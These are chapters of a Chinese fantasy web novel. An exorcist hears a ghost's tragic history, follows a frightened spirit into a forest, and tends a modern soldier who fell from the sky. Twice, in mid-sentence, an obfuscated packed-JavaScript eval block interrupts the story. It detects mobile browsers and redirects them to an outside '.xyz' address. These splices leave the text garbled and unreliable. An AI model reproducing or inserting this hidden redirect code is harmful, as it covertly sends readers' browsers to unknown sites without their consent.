《红鸾照命「穿越」》 3. 厉鬼往事雾中人影 “食了鬼的东西你说怎的不是生不如死?”掌柜说得神神秘秘,“之前还有一外地人食了面,人倒是没死,就是变得疯疯癫癫的。” 顾今安吃了那面并无不适,那人估计是吓疯的。 “所以客官吃的是面还是馄饨?”掌柜问得都有些小心翼翼了。 “我吃的面。”顾今安道。 “那还好,不至于一命呜呼…但你不会也发疯吧…”掌柜开始犹豫要不要让他住店了。 “放心,不会。”况且御鬼师的体质还是与凡人不同的。顾今安看着掌柜问道:“能否同我讲讲那位老人家生前之事?” “哎哟,我可没钱请御鬼师除鬼。”掌柜道,“我也说了这城中人人厌恶御鬼师,并且人已搬走大半了,不太可能凑钱给你的。” 顾今安道:“我不收钱。” “有这好事?”掌柜将信将疑,“可你能行吗?上一个御鬼师都落荒而逃了,现在的御鬼师行事也皆是马马虎虎的……” 毕竟御鬼师大多出力不讨好,估计现在也很少有尽职尽责的御鬼师了,还混进了不少江湖骗子,把御鬼师本就残缺的招牌砸得更是稀巴烂。 “我尽力。”顾今安道,“还请把你知道的都说与我。” “行。”掌柜强调,“先说好,毕竟这是上一辈的事儿了,我也只是道听途说,真真假假,我可不保证!” “但说无妨。”顾今安道。 掌柜清了清嗓子,开始讲道:“这位陈老太啊,她是四十年前从外地来的,那时她还是个姿容不错的年轻妇人。先妣说她来时衣着考究,但……看得出她身上带着来不及洗净的烧灰和焦臭味。” “烧灰和焦臭?”顾今安不解。 “啊,烧灰。”掌柜继续道:“她随身带着的细软里多是精美饰品,什么珠钗、发簪、耳铛的,还有不少胭脂——她拿去当了,消息传开,所有大家知道。再加之几日前西边后与城一座青楼深夜走水了,死了好多人!欸,这一合计,大家伙就推测啊,她是趁走水从那个青楼里逃出来的呗。” “她当了那些细软换了不少银两,在我们这日拂城边陲偏僻处购置了一破烂小屋,从那时起啊,她就在路边卖面食营生。”掌柜站着说得有些累了,从柜台后面走出来,示意顾今安同他坐到桌边,“来坐。” 掌柜自顾自给自己倒了杯茶,完全没管顾今安喝不喝,继续道:“当时她常租赁马车大老远前去东边乌城,呃……据说每月一次?记不清了……总之啊,就是要去,有人问她干嘛去嘞,她说看孩子去。” “你说做她之前做那种……那种买卖的吧,有孩子多正常,估摸着就是给有钱人生的被带回去当庶子、奴仆什么的。” “可是,你说她是西边后与城的妓子,却要去东边乌城看孩子,你也是知道的,这两座城隔的可不近啊。” “而且乌城的勾栏瓦肆更是鳞次栉比,这孩子亲爹跑去偏远的后与城消遣又是何苦来哉?” 顾今安安静听着,没接话。 掌柜喝了一口茶,“当时有好管人闲事的妇人问起她此事,不依不饶地问,她才肯透露——她之前是乌城一户人家的童养媳,给这家人生了孩子便被赶出了家门。” 顾今安问道:“既然已经逃出青楼,也需要去乌城看孩子,那她为何不定居乌城,而要留在这座日拂城?” “你问到点上了,”掌柜指尖敲了敲桌子,“大家都觉着奇怪,但旁的她也并未多说,但大家猜测啊,她不是被赶出家门的,她是自己逃跑的!所以她不敢住在乌城!” “她既然撇下儿子独自逃跑了又何必再去看望儿子?”顾今安觉得有些不合理,“回去不就是自投罗网?” 掌柜摸了摸下巴,“你说得有理,哎呀,反正都是猜测嘛,她自个又没说!退一步讲,那乌城是大城,屋价市价甚是昂贵,哪容得下她安身立命!在这日拂城她都只买得起城郊破屋,那周围人都没几个的。” 掌柜继续道:“反正就是她离开那家人后估计是轻信于人,被卖去了后与城的青楼。她的身世就这么串起来了呗,哎哟,坎坷哦。” 顾今安问道:“那她之后就在日拂城安居了吧?” “别!我这才讲了一半,你听我继续。”掌柜把手中茶一口饮尽。 “我也提到了吧,她当时是位貌美妇人,又孤身一人,之前还是做青楼营生的,城里姓钟那户做布匹生意的富商,他爷爷辈——当时是家主吧,看上她了,想纳她做小妾,哎哟,那钟姓富商家里十八房小妾了,还要纳妾,名声臭得很,都快影响他家布匹买卖了。陈老太不从,当时有传言说当时那钟富商把她……奸污了!” “不过是传言,也不知真假。她也并未声张,估计是觉着告官也无济于事,钟家势重,官府肯定偏袒钟家。” “哎,”掌柜叹了一声,“那个钟氏富商几次三番地去骚扰她,直到自个去世,才消停了。” “去世?何故?”顾今安问道。 “钟家仆人传出来的,说是心肺痹症,突发的。”掌柜道。 “后来呢?”顾今安催促掌柜继续。 “后来……呵,奇了怪了,这陈老太救济了一个瘸子乞丐,两人成婚了——你说怪不怪?” “和乞丐?成婚?”顾今安有些晕头。 “你别不信,我当时听了也很惊讶,但真就是个乞丐,在这城里头晃了好几年的乞丐,到处讨饭那种。”掌柜越说越激动,“脏兮兮的,长得也不如何,还是个瘸子,脑子也不好使,你说这陈老太怎的就看上他了?” “我不知。”顾今安认真回答他的问题。 掌柜翻了他个白眼,“没问你,我只是感叹感叹。” “虽无父母高堂,二人皆是茕茕独立并无亲朋,但要算起来,陈老太自己有屋子,那乞丐也是入赘的吧?”掌柜道,“跟了陈老太后,大家也没怎么见过那个乞丐了,面铺也是陈老太一个人经营的,都说那乞丐走了狗屎运,被带回家供着,比他要饭强多了。” 顾今安确实很惊讶,这中间定然有什么事情是不为人知、被漏掉了的。 “而且,从我记事起,我就觉着陈老太那铺子并无多少客人,城中人多少都有些忌讳她,有的是看不起她的身世,有的是觉得她太奇怪了……哎呀,总之照顾她生意的多是你们这种外地来的、路过的,夜里实在找不到吃食的。” 掌柜道,“那时,她得花钱租赁马车大老远去看她儿子,还要养个乞丐,生活得多拮据?不懂不懂……” “说起看她儿子,她每次看完回来心情似乎并不太好,有一次回来她却特别高兴的样子,我那时候年纪尚小,路过她铺子,她还送了我一个面饼……我想想,大概是四十二、三年前吧?总之,从那次之后,她再没去看过她那儿子了,个中缘由,我们也不得而知了。”掌柜清了清嗓子,说得渴了,又倒了杯茶喝了一大口,砸吧着嘴。 “之后嘛,就简单过日子了呗,那乞丐先她一步走了,被她安葬,她继续一人经营面铺。” “她啊,是几年前面铺垮塌砸死的——好好的面铺不知怎的就垮了。”掌柜撇嘴摇头,表示惋惜,“她死后不久,大家便常于夜里见她还在那里摆摊卖面食,瘆人得很……” 顾今安思忖着,这个陈老太做童养媳,被赶出门,又被骗去青楼,青楼着火,她又逃往此处,经营面铺,探望儿子,而后又被富商奸污,再后来又同一个乞丐成婚,最终死在垮塌的面铺之下…… 是个命途多舛的可怜人,可总觉得有哪里不对劲儿。 “其他我就不知道了。如何?御鬼师大人可有眉目?”掌柜扬起他的下撇眉,看着顾今安。 “尚无,明天看看。”顾今安若有所思地拿起房门大锁的钥匙,起身准备上楼,“先休息了。” 掌柜笑了一声,似乎想让他尽快解决这事,“这鬼的生意不就该夜里做吗?” “你改变主意要付钱了?”顾今安转头看向他。 “……诶,客官,您好生歇息!”问就是没钱。 顾今安点头,踏上楼梯。 楼上传来脚步声,转过拐角,有一身着扁青色长衣的男子正要下楼来。 这男子身量修长,窄腰长腿,面容清隽俊秀,一双狭长的眼睛居高而下睨着顾今安,他腰间错落地挂着三枚温润玉佩,枚枚价值不菲,长衣上描着金线,这当是个张扬的人。 顾今安心想,这就是客栈老板所说的刚上楼的客人吗。 楼道狭窄,他错身让这男子先过,“先请。” 男子也不客气,抬脚朝下走去,一言不发与顾今安擦肩而过。 顾今安瞥见他衣襟用金线绣的竟是蝴蝶图样,在男子的衣服上倒是少见。 * 顾今安今日赶路太累,况且在路上他也收过一只鬼了,关于那个厉鬼陈老太的事他目前也只是从这个掌柜听来的,真真假假、还有缺漏。 强行去净化鬼会耗时极长,且失败的风险更大,更易让鬼脱逃净化法器,鬼出逃时的报复心极强,极具攻击性,不少御鬼师就死在净化失败逃出法器的鬼手中。 所以御鬼师在净化鬼之前会探查鬼的情况,就算不能替他们了结遗愿、雪洗冤屈或是改写命途,但总归要去帮鬼释怀一些事的。 强行收服御鬼实属下下策。 总之,今晚不能打草惊蛇,明日还需多问些人,探查个分明。 客栈的地板有些老化,顾今安每走一步都伴随着一声“嘎吱”响,二楼的廊道长长,只一根蜡烛亮着,光线微弱,长廊尽头静默在浓郁的黑暗里。 顾今安进屋后借着唯一一点微弱的烛光收拾妥当就躺下了,他当真有些乏了,与鬼缠斗是一件极其耗费心神体力的事。 夜色浓黑,屋内一片寂静,连翻动被褥的声音都清晰可闻。 顾今安裹着被褥,思绪像绒布,绵软得不行,正欲闭眼,一晃而过却瞥见屋子角落正站着个人影!困意顿时消散大半。 那道浓黑的影子立在同样浓黑的夜色间,一动不动,和顾今安对峙着。 在这个密闭的屋子里仿佛连空气都凝固了。 顾今安躺着不动,眼睛一眨不眨地看着角落的人影,经验告诉他,这种夜间守在床边的绝非善类。 怨鬼是危险程度仅次于厉鬼的存在,且情况多样,种类繁多。他现在不清楚这怨鬼属于哪种,还不能出手,怨鬼都是极其疯魔、极其情绪化的,贸然出手只会激怒他。 两厢无声对峙着。 顾今安认出来了,这是那个一直跟着他的怨鬼。 他有些出乎意料,本以为这怨鬼不会有所行动。 在顾今安眨眼间那人影不见了,角落空荡荡,似乎从未存在,漆黑的屋子近乎死寂。 顾今安的目光在屋子里游走,在黑暗里搜寻那道人影。 衣柜…… 架子…… 半开的屏风…… 梳妆台…… 所有家具都静立在夜色里,却不见那人。 走了? 顾今安的目光慢慢上移……他看见了头!那人正站在他头顶床头那侧!正低头看着他! 他心头一跳,下意识想坐起身来,那人却伸过脖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14981532|161473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脸悬在他的上方,倒着同他面对面。 这是一张怎样的脸,可怖?悚然?顾今安几乎找不到最贴切的词语。 灰白的脸藏匿在头发间,这人的双眼是空洞的黑色,正惊恐地张着嘴,口腔里也是一片黑,这张苍白的脸像是烂出了三个窟窿。他的脸正在融化,从眼眶、嘴角开始垂落下起皱的皮肤,眼眶和嘴的空洞被拉得更大,他的神情似乎变得更为惊恐害怕了些。 只有像顾今安这样长期与鬼打交道的,才不至于尖叫着逃窜,不过也够呛。 再老练的御鬼师依旧会恐惧,因为他们面临的对手充满怨恨、戾气滔天,太过癫狂、难以捉摸,且无所顾忌。 顾今安全身肌肉都绷紧了,随时可以发力,和他僵持着,谁也没动。 “我……好害怕……”那人的嘴没有动,发出的声音小得像是在耳语,生怕被别的什么听去了似的。 “好害怕……” 顾今安皱眉。 害怕?是什么能让怨鬼都感到害怕? 难道…… 这附近还有别的更为恐怖的存在? “我好害怕……”那人融化的脸皮快耷拉到顾今安脸上了,他蓦然喉结滚动,开始大口大口地呕吐出黑色的血来。 千钧一发,顾今安扯过被子就势一滚,身体垫在被褥上撞到地上,才不至于被他吐出来的血淋了满脸。 黑血还在“滴滴答答”落在枕头上,那人以一个诡异的角度绕过脖子,用黑洞洞的双眼看向顾今安,他依旧惊恐地张着嘴,黑血流满了他的下巴,融化耷拉的皮肤和发丝一起垂落着。 “害怕……”那人又小声呢喃道。 顾今安呼出一口气,现在该害怕的究竟是谁…… 那人又在原地消失了。 屋子恢复了死寂,顾今安只能听见自己的呼吸声,和一声声沉重的心跳声。 未几,他见那人影正直直站在不远处的窗边,被窗外透进来的月光蒙上一层死亡的颜色。 他的双眼依旧空洞,嘴依旧惊恐地张大着,皮肤融化皱在脸上,下巴和衣襟沾满了黑色的血。 他就站在那里,一动不动,看着顾今安。 瞬息,他再次消失在原地,而这一次他并未出现在屋子里的任何地方。 窗边……出去了? 顾今安起身扯过一旁衣架上的外衣,一边穿一边朝窗子走去,顺手抓起桌上的剑。 窗外夜色正浓,轻云笼月,月光惨白又迷离,万家灯火皆在睡梦中,屋檐起伏,望不到古旧城池的边界。 而方才那人正站在窗下正对的街道上,半在黑影里,半在苍白的光里,模糊得有些缥缈,但能看出他正仰头望着顾今安。 人影一闪,又出现在了街道尽头,成一道更朦胧的剪影。 顾今安和他对视着,他似乎……在指引自己跟过去。 这是一个主动接近御鬼师、吸引御鬼师跟他过去的鬼,跟了顾今安一路的鬼,顾今安早就好奇他要做什么了。 跟去看看。顾今安并未犹豫太久。 恍神之际,那人又消失在原地,出现在更远处,夜色浓郁,雾气在苍白月光下缓缓弥漫,黑影隐隐约约。 顾今安一手撑住窗框,长腿带着衣摆划出一道微弱的蓝色光晕,翻过屋檐,修长的身影从二楼跃下,长衣带风,落地无声。 夜色笼罩的长街空无一人,弥漫的雾气被月光照得冰凉,缓缓流动。 长街尽头那个模糊的人影依旧在等着他。 顾今安把手中剑负在背上,朝那“人”走去。 白雾渐浓,让夜间能见度更低,顾今安目力所及不过两丈,那人影就站在他视线最远的边沿,模模糊糊,时隐时现。 两侧楼宇静立于暗处,雕花的窗像无数窥探的眼睛,石板路并不平整,一步深一步浅,街道长长又空空,只他一人,跟着前面那道虚幻的鬼影。 顾今安脚步放慢放轻,在湿冷的黑暗里徐徐向前,警惕周围情况。 走了不知几何,身上的衣料被夜间的冷雾濡湿。周围依旧空荡荡。 不对劲儿。 顾今安发现前面那个鬼影并不是要带他去哪,而是在绕圈子! 周围的景象和方才重合了——又回到了原点。 顾今安停下脚步。 那鬼影站在远处一动不动。 御鬼师道上都说怨鬼的思绪是混乱的,行为是难以捉摸的,他们何时会发疯、想做何事、想要何物都是无法预测的。 但顾今安觉得并非如此,怨鬼会把一个小小的念头无限放大,外化成常人无法理解的偏激情绪和行为。 也许常人会一笑了之的事情,怨鬼却会因此无法自控地发狂;常人看来的寻常物在他们眼里或许就成了杀人的理由…… 比如现在,这鬼影跟了他一路,把他引下楼定然不可能只是为了带着他绕圈子玩。 顾今安停在原地,望了一眼上空纠缠着的各色「念」,他感受着,周围空气中的「念」有些稀薄。 最近几日,游离的「念」都很不对劲,比平日更加浓郁且汇集在更高处,今日更甚,似乎所有的「念」都汇聚到了上空,搅成从未见过的巨大漩涡。 他又看向前方模糊的鬼影。 他说害怕,在害怕何物? 他带着自己兜圈子,莫不然他害怕的东西在自己身上? 顾今安抬手,手间淡蓝光晕一闪,幻化成一面光亮铜镜,他把铜镜举起来照向自己身后…… 他从镜中对上了一双瞪大的眼睛。 谁在他身后! 4. 相思林间风来何人 镜中那双充满死气的灰白瞳孔开始剧烈转动起来,狡黠奸诈,眼型慢慢弯成一个诡异幅度——它在笑。 顾今安指间迅速亮起一道蓝光朝它劈过去!蓝光划出一道锋利的幅度却劈了个空,身后那“人”消失得太快了,顾今安连他的全貌也未看清。 那是一只猛鬼。猛鬼的「念」比恶鬼和游魂重,但轻于怨鬼。猛鬼疯疯癫癫,惯会吓唬和攻击生人。 猛鬼一走,那怨鬼又开始带路,并且这一次他不再带着顾今安绕圈子了。 所以这只怨鬼还怕了方才的猛鬼不成?怨鬼的「念」比猛鬼更重,怨鬼又怎会惧怕猛鬼?还是说这怨鬼只是不想让这猛鬼跟他们去? 顾今安心头有诸多疑问。 一人跟着一鬼,穿过夜间冷雾,直至城边。 那鬼影立在远处的雾间,与顾今安对立着,慢慢抬手指向了城外漆黑的相思林。 森林里有什么? 顾今安收回目光时,鬼影已经消失在了夜色间。 “害怕……”低语随风飘进顾今安耳里。 他害怕的东西在森林里? 各色「念」在上空翻涌着,“无极天”比任何一日都更加沉重汹涌,就盘桓在森林之上。顾今安从未见过如此的“无极天”。 森林里是何物? 同「念」的这般怪异行径是否有关联?——顾今安的脑子里莫名闪过这个想法。 他望着前方漆黑一片的相思林有些犹豫。 怨鬼突地出现在顾今安近旁,仍是那张惊恐的脸和快要融化的皮肤,一副任谁看了都想尖叫的恐怖模样,“害怕……” “……”顾今安从他身上移开目光,努力平复被他突然出现而惊了一下的心跳,“嗯,我也害怕…”…你。 怨鬼又抬手指向林间,像孩童被欺负向父母告状似的,“害怕……” 顾今安叹了一声,“走吧。” 月光照不进相思林,林间一片深深浅浅的黑影,顾今安抬手,手心燃起一捧蓝光,顿时驱逐开周围的黑暗,同时,也把那怨鬼吓退了几丈,在蓝光照不见的树后用那双惊恐的眼睛幽怨地望着顾今安。 “害怕……”怨鬼指着他手中蓝光。 害怕就对了,也能防着这怨鬼突然发疯。顾今安把蓝光朝怨鬼凑近了几分,“烦请带路。” “害怕害怕……”怨鬼赶紧后退。 夜色中平铺千里的黑色森林间,那泓蓝光撕开漆黑密林缓缓向前,空中是诡谲的云雾,五色在暗淡的天光里近乎同归于乌黑,缠绕汹涌。 远处日拂古城在弛颓里沉眠,几盏孤灯也被冷雾吞噬。 遍地枯叶被踩碎的“咔嚓”声在阴冷死寂的林间被放得无限大。 怨鬼始终在前方,时不时回望顾今安,似乎在确认他并未跟丢。 走了许久,久到顾今安觉得自己的五脏六腑都要被这薄凉的秋夜浸透了。 突地,变相横生!一个黑影从树丛中扑了出来!将前方怨鬼扑倒在地,一口咬住他的脖子! 巨力拖着他,四脚并用飞速窜进了树丛里!激起一片树叶的脆响,那怨鬼只来得及呜咽了一声“害怕”。 那黑影……是方才跟在顾今安身后的猛鬼! 顾今安只短暂怔了一瞬,便闪身追了上去! 林间碎叶的“咔嚓”声急促如鼓点,顾今安耳畔风声“呼呼”,手中的蓝光在奔跑的颠簸中晃荡,周围的树影也在剧烈晃荡。 光影在干扰他,灌木树丛在阻拦他。 前方的猛鬼拖着怨鬼还能跑得那般快、那般灵活,正在一点点同顾今安拉开距离。 一路上,周边的树木被喷洒上怨鬼的黑色血液又化作黑雾消逝,怨鬼双脚在地上不停挣扎,被拖得“哗哗”响,脖子被猛鬼死死咬住,黑色的血液喷溅如注,那只猛鬼脸上沾满他的血,笑意猖狂,移动飞速。 二鬼的「念」缠斗在一起,黑雾腾腾,被拖得长长,像一片诡异残影。 顾今安扬手一挥,几道蓝光汇聚成锋利刀刃向前飞驰而去!映照得树影变换摇曳!速度极快却被猛鬼灵活避开,狠狠砸在地上!蓝光炸开,掀起满天碎叶! 顾今安锁着眉,他想不明白,因为这是他第一次看见猛鬼压制住怨鬼。 他曾见过群鬼厮杀,狠戾、暴敛、疯狂,开膛破肚、至死方休。而其中,大多数时候都是怨鬼以碾压式的残暴手段让猛鬼血溅当场、尸骨无存。 现在是何情况?是这个猛鬼太强还是这个怨鬼太弱?——难怪方才这猛鬼在自己身后时,这怨鬼就害怕得只敢绕圈子走。 顾今安一心追赶那猛鬼,所以并未注意到空中平铺万里的「念」越发汹涌澎湃! 无声无息旋起一个巨大的柱状漩涡,漩涡下坠,“无极天”正在慢慢与这密林相接。 而顾今安正在渐渐逼近这漩涡下坠的中心。 怨鬼呜咽着挣扎着与猛鬼抗衡,黑色的「念」厮打纠缠,他用尽全力给猛鬼一击,“啊!!!!”猛鬼惊叫一声,动作停滞瞬息。 顾今安抓住这个空隙,甩出几道炫目蓝光,天罗地网一般朝那猛鬼飞速扑去!激起一串残影! 好巧不巧,正当蓝色刀锋环合着几乎要砍到猛鬼背上时,林中狂风大作!! 树冠在风中被巨力拉扯着,整片相思林像掀起了惊涛骇浪!! 树叶枝干“哗”然炸响!碎叶被掀至半空! 那几道锋利致命的蓝光也偏离了航向,猛鬼在慌乱摇摆的无数树影间窜进了更深的黑暗。 顾今安被狂风吹得睁不开眼,长发和衣袍猎猎作响,疯狂翻飞! 周围是炸响的呼呼风声,和树叶哗哗声! 不对。头顶的树冠响得有点不正常,树干发出一连串折断的巨大声响,以极快的速度逼近,似乎…… ——有什么重物落下来了! 二十四年来,高处若是落什么东西,拐着弯都能朝自己头顶砸! 好得很,这一次又成了靶心。 顾今安长年倒霉得已经学会下意识该做出什么应对反应了,他当即朝前掠去,顶着狂风把重物从树顶落下的声音抛在身后。 “咚”!!!!! 耀眼的红光在他身后炸开! 热浪太过猛烈,顾今安依旧被掀起来的狂风甩了出去!他赶紧用「念」护住身形重重撞到了石头上。 风声席卷落叶树枝哗然巨响鸣锣开道! 红光刺透密林,驱逐十里黑暗。 顾今安被照耀得睁不开眼。 数息后,红光熄灭,风声渐息,碎叶飘零。 森林上方“无极天”的漩涡也在一点点复原,汹涌的「念」徐徐平息。 方圆之内一派劫后余生的惨状。 顾今安狼狈地从落叶堆里站起身来,掸去身上落满的碎叶灰尘,仔细看向着这场风暴的中心,那落下来的重物似乎是……一个人! 一个人落下来能有这等威力?? 他快步上前查看。越是靠近,一股焦灼的气味便越是浓烈。 难道是一具烧焦的尸体? 那人趴卧在地上一动不动,身型高大,长手长脚。 衣着打扮甚是古怪,穿着黑色短上衣,质感似乎并不柔软,其上还套着件看起来极硬的黑色马甲,腰上缠着古怪的长带,其上拴着几个皮革制的囊袋,背上也斜挎着一排不知用来装何物的排包。 衣服袖子破损,袒露出的手臂肌肉精壮结实,上面的烧伤混合着血和黑灰。 他下身是一条黑色裤装,依旧是顾今安不曾见过的样式,很宽大,上上下下全是可以储物的包,裤腿被一双靴子收紧,这靴子该是动物皮革做的——顾今安第一次见到制作得这般精致的皮质靴。 这人留着短发……烧没了?可烧得也太彻底了些,只剩短短一寸。 此人侧脸轮廓英俊,像大刀阔斧劈出来一般锋利深邃,如剑的浓眉紧锁着,睫毛也是浓黑,难道是胡人?——满脸污垢,不太能辨识。 顾今安就着手头蓝光蹲下身查看他的状态——还活着,但呼吸和脉象俱是微弱。 “还有意识吗?”顾今安轻轻推了推他。 那人并无回应。 从天上落下来的?顾今安抬头看去,此时“无极天”已经恢复了正常,徐徐流动,朗朗夜空,不知这人从何处而来。 这般阵仗,身份定然不简单。 顾今安简单检查了此人伤口,将他扶起来,这人体型极其高大,肌肉骨骼结实,顾今安差点被这人囫囵个压倒在地。 顾今安艰难扶稳他,心头想着那猛鬼怨鬼怕是追不上了,现下还是救人要紧。 * 相思林间一家破烂客栈。 顾今安费了好大一番周折,非得用上剪子才把这人一身奇装异服褪下。 此人伤得是真不轻。手腕脱臼,肋骨轻微骨裂,还有大大小小的淤青伤口。 肩头一个拇指大的咕隆不停往外冒血,顾今安给他止都止不住,观察半晌才发现那伤口眼里不知卡了什么东西,他用小刀割开伤口艰难地把里面那玩意儿挑了出来,挑得满头大汗。 顾今安满手血捏着那玩意儿端详,这是何物?铜弹子?还是黄金珠?有股烧焦的奇怪味道,没见过。 他随手把它放在一旁,用没沾血的手背擦了擦自己额头的汗珠,继续给这人处理。 这人伤口和内里的衣服黏在了一起,他小心翼翼一点点分开皮肉和衣物,到最后手都在抖,抽筋了。 此人的烧伤情况其实并不严重,只有手臂、腿部、后背几处,不知是不是天公怜惜这张俊脸,脸上只有些许小口子,倒没什么会留疤的大伤。 伤都处理了,顾今安开始给他擦拭血污。 不知这人干什么了,伤成这样,身上沾的都是烧灰和泥泞。 此人身材绝佳,穿衣只觉修长高大,脱.衣后又见肌肉精悍结实,宽肩窄腰长腿。该是从小习武之人。 顾今安猜测他的身份,护卫?镖人?侠客? 顾今安看向他的短发,他从未见过有人留这么短的头发,兴许他是异邦人? 顾今安有些好奇他头发是什么触感,想着的时候他已经伸手摸了摸,修长的手摩挲过短发,发丝扫过手心,触感刺刺的却又很软和,莫名很好摸。 好像不太礼貌。顾今安遗憾收回手,淘洗了一下擦过他身体已经染脏的巾帕。 巾帕在清水里一淘,清水瞬间变污水。 顾今安拉起他的手擦拭其上的焦灰污垢。这人的手是与其身量相符的宽大,手指长直,骨节突出,骨线明晰,血管蜿蜒上结实的小臂,指甲修剪得整齐没有藏污纳垢。 顾今安给他收拾妥当时,天都快亮了。 这人因为受伤在发着高烧,嘴唇也干裂了,顾今安用干净巾布沾了水润在他唇上,让他多少喝点。 顾今安累得不行,躺在他旁边要睡过去了,又担心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14981533|161473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他半夜就这么无声无息地死了,便勉强打起精神来看着他点,又困又不敢睡。 顾今安迷迷糊糊听见他低沉沙哑的声音在轻轻呓语。 “什么?”顾今安揉了揉发涩的眼睛。 “救……” “救什么?”顾今安耳朵凑近他唇边,仔细听他在说什么。 “人……” “谁?” “人质……救……” * 薛戬梦里都还端着那把QBZ95步枪在硝烟里穿梭。直升机转动着巨桨在上空斡旋,风声炸耳。 “轰!!”“轰!!”爆炸声就响在他不远处,惊天动地的一声又一声,炸得他脑袋里一片轰鸣。 弹起的碎石片划破他额头,血流进眼睛里,眼前一片血红色,对面枪口闪着密密麻麻的火光,火药味混合着血腥气冲鼻。 避之不及,薛戬的肩头中了一弹,他就势滚进一旁的草坑里。 “妈的。”薛戬皱紧眉头,咬牙切齿,一拉枪杆,填好弹,“带他们先走!我断后!”低沉的声音喊得比炮弹还响。 “队长!!” “别他妈过来!!先走!听不懂吗!?滚回去!” “戬哥!!” “走!!” 天旋地转,混乱一片,炸弹轰鸣,后来又怎么了?薛戬具体记不清了,爆炸声太响,炸得他脑瓜子疼,耳畔嗡嗡响,步枪的后座力震得他整条胳膊都麻了,他看见人质上了直升机,成功疏散了,他听见有人在喊他…… 喊什么喊。喊也没用。 他顶着火力,看着直升机在蓝天消失一个孤点,听见对面的敌人用鸟语气急败坏爆着粗口。 “轰!!” 一阵滚烫的气浪把他掀翻了出去……然后…… 没死? 薛戬睁开眼,明亮的日光刺得他锁眉,他又赶紧闭上了眼。 这一睁一闭,一晃而过的是一片复古的漆木色,他还来不及细想什么,一阵耳鸣轰然袭来,炸得他头疼欲裂,听力也变得迟钝,只模模糊糊听见似乎有人在询问自己什么。 “这是哪儿?”薛戬以为问他的是自己队友,忍着耳鸣问道,声音沙哑。 “日拂城外,相思林中,逢缘客栈。”温润的声音回答他。 薛戬耳鸣还没过劲儿,他以为自己听错了,“哪儿?” 顾今安平静地重复了一遍,“日拂城外,相思林中,逢缘客栈。” “……”薛戬脑子还是懵的,“这他妈是哪家医院?” 顾今安思忖了一下,大概捕捉到了他的意思,“并非医馆。城东郊外偏僻,近处并无医馆,放心,我懂些岐黄之术,现下你已无性命之忧,好生休养将息,假以时日会好起来的。” “…………”薛戬的眼睛适应了光,耳鸣也过去了,慢慢睁开,他倒要看看是他手下哪个傻@逼小崽子都这个时候了还要装腔作势逗……他…… 他看到房梁、雕花床梁、水墨屏风、木窗、木柜、木桌……一片古代得不能再古代的布景,还有坐在旁边穿着古装的人…… 顾今安端着碗汤药,用汤匙搅动汤药散热,水雾弥漫,一双眼睛也安静地和他对视着,不言不语任他打量,同时也在打量着他。 这人眼窝很深,眉眼俱是漆黑,现下他正面无表情地盯着自己,目光锐利如狼鹰,若非他生得英俊,稍微缓和了这股要吃人的煞气,不然顾今安觉得还真有点受不住。 “你是演员吗?”这人的声音低沉带着沙哑。 “不是,”顾今安把药碗放在一旁桌上,“我不叫‘演员’,公子认错了。我姓顾,名怀,‘心低佪兮顾怀’的‘顾怀’(注1),字今安。” 他发现,等自己说完,对方的表情变得非常古怪。 嗯……有何不妥吗? “……”这人一言不发,一脸似乎是无言以对的模样,沉默着收回目光,转而开始观察起他自己的情况。 这人扯了一下自己身上的中衣——他原来的衣服破损严重,顾今安给他换了一件。他的表情变得更加一言难尽。 “……”薛戬确实很无语。 他不关心娱乐圈,看这人长相俊美,是当代女生最喜欢的那一挂,所以他还以为是哪位他不知道的当红明星,以为自己是被电影拍摄片场的人救了。 可仔细一想,自己当时是在国外边陲执行营救人质的任务,这帮子人总不能在国外拍古装片吧?再看自己身上竟然也被套了一件古代衣服…… 什么情况?穿越?自导自演?诈他? 不是这人疯了,就是自己疯了,总得是疯了一个。 薛戬脑袋“嗡嗡”响,搞不清楚就先按敌人的诡计打。 他感受了一下自己的身体状况——其实还好,稍微有些使不上力气,肩膀上的枪眼子和烧伤的疼痛于他而言不算什么,不足以影响他行动,就是内伤似乎还有点难崩,自己的武力能发挥到几成就不知道了。 眼前这位“古人”身量修长,该有一米八左右,但看起来清清瘦瘦,应该不足为惧,就怕他还有其他同伙。 顾今安在旁边默不作声地观察他半天了,被晾着倒也不愠,主动问道:“请问公子名姓?” 如果是敌人自然是有他的资料的,没必要多问,是来试探自己上钩没有吗?薛戬头疼地闭上眼睛,配合道:“姓薛名戬……字戬。” “?名和字是同一个‘戬’?” “啊对。” 5.此非梦客往何处去 “薛公子,先把药喝了吧。”顾今安把桌上已经凉下来的汤药递给薛戬,“你昏睡五日,现在虽是醒来了但药还是得继续。” “五天?”薛戬皱眉,“今天几号?” 顾今安眨了眨眼,“号?” “……何月何日。” “天正七年九月廿三。” “…‘天正’是年号?” “是。” “什么朝代?”薛戬面无表情。 “大乾朝。” “我知道是前朝。” “……‘乾坤’的‘乾’。”顾今安耐心解释。 “历史上没有的……”薛戬无语。 “嗯?” 薛戬想着,也就是说不可能是穿越时空,因为历史上没有。所以……是敌人诈他的吧?敌人没学过华国历史是吧,也不知道查一下资料选一个存在的朝代,骗人都不会。 顾今安还端着药碗保持着递给他的姿势,目光在观察他,“你失忆了?” 薛戬看了他一眼,“没有。” “喝药吧。”顾今安又把药碗朝他递进了几分。 薛戬没有接,看着那碗黑漆漆的药,“不用了。” 